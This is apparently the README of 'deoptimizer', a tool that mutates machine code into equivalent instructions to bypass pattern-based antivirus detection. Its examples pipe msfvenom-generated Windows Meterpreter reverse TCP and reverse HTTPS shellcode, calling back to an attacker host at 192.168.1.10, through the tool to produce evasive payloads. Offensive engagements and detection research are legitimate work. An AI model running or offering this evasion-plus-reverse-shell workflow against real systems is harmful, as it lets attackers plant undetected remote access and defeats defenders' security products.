This tool is a machine code de-optimizer. By transforming/mutating the machine code instructions to their functional equivalents it makes possible to bypass pattern-based detection mechanisms used by security products.
Why?
Bypassing security products is a very important part of many offensive security engagements. The majority of the current AV evasion techniques used in various different evasion tools, such as packers, shellcode encoders, and obfuscators, are dependent on the use of self-modifying code running on RWE memory regions. Considering the current state of security products, such evasion attempts are easily detected by memory analysis tools such as Moneta and Pe-sieve. This project introduces a new approach to code obfuscation with the use of machine code de-optimization. It uses certain mathematical approaches, such as arithmetic partitioning, logical inverse, polynomial transformation, and logical partitioning, for transforming/mutating the instructions of the target binary without creating any recognizable patterns. The tool is capable of transforming the instructions of a given binary up to ~95% by using the mentioned de-optimization tricks.
Watch the presentation for more...
Installation
Download the pre-built release binaries HERE.
From Source
cargo install deoptimizer
Docker Install
docker run -it egee/deoptimizer -h
Usage
Warning
This project is still in the development stage! The available transform gadgets, functions, and command line parameter names may be adjusted, backward compatibility is not guaranteed.
Machine code deoptimizer.
Usage: deoptimizer [OPTIONS]
Options:
-a, --arch <ARCH> Target architecture (x86/arm) [default: x86]
-f, --file <FILE> target binary file name [default: ]
-o, --outfile <OUTFILE> output file name [default: ]
-s, --source <SOURCE> source assembly file [default: ]
--syntax <SYNTAX> assembler formatter syntax (nasm/masm/intel/gas) [default: keystone]
-b, --bitness <BITNESS> bitness of the binary file (16/32/64) [default: 64]
-A, --addr <ADDR> start address in hexadecimal form [default: 0x0000000000000000]
--skip-offsets <SKIP_OFFSETS>... File offset range for skipping deoptimization (eg: 0-10 for skipping first ten bytes)
-c, --cycle <CYCLE> total number of deoptimization cycles [default: 1]
-F, --freq <FREQ> deoptimization frequency [default: 0.5]
--transforms <TRANSFORMS> allowed transform routines (ap/li/lp/om/rs) [default: ap,li,lp,om,rs]
--allow-invalid allow processing of invalid instructions
-v, --verbose verbose output mode
--debug debug output mode
-h, --help Print help
-V, --version Print version
Examples
- Generate and de-optimize a 64 bit Metasploit reverse TCP shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o shellcode deoptimizer -a x86 -b 64 -F 1 -f /tmp/shellcode
- Generate and de-optimize a 64 bit Metasploit reverse HTTP(S) shellcode
Warning
Some shellcodes may cointain string values that needs to be skipped! In such cases the string offsets needs to be specified using the --skip-offsets parameter.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=8080 -o shellcode deoptimizer -a x86 -b 64 -F 1 --skip-offsets 275-287 324-574 -f /tmp/shellcode
Currently Supported Architectures
- ✅
Supported - 🚧
In progress - ❌
Unsupported
| Architecture | 32 | 64 |
|---|---|---|
| x86 | ✅ | ✅ |
| ARM | ❌ | 🚧 |
| RISCV | ❌ | 🚧 |
TO DO
- PE file support.
- ELF file support
- Mach-O file support.
- ARM architecture support.
- RISC5 architecture support.